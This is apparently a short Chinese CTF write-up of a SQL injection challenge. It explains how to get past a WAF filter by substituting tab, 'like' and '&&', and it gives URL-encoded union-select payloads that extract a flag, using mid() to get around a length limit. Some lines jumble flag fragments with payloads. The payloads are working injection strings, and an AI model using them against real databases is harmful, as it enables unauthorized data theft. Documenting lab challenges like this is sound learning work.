NSS [SWPUCTF 2021 新生赛]sql
很明显是sql,有waf。
参数是wllm
get型传参,有回显,单引号闭合,回显位3
跑个fuzz看看waf
过滤了空格
=
and
报错注入
空格->%09
=->like
and->&&
爆库:test_db
-1%27union%09select%091,database(),3%23
获取:
-1%27union%09select%091,2,flag%09from%09LTLT_flag%23
长度被限制了
还有mid可用
mid(str,start,[length])
str:截取的字符串 start:起始位置 length:截取的长度,可以忽略
payload:-1%27union%09select%091,2,flag%09from%09LTLT_flag%23
NSSCTF{31d1c108-ddd1-1%27union%09select%091,2,mid(flag,15)%09from%09LTLT_flag%23
8-ddd1-4c12-8896-c02-1%27union%09select%091,2,mid(flag,30)%09from%09LTLT_flag%23
6-c0253d4fa243}
NSSCTF{31d1c108-ddd1-4c12-8896-c0253d4fa243}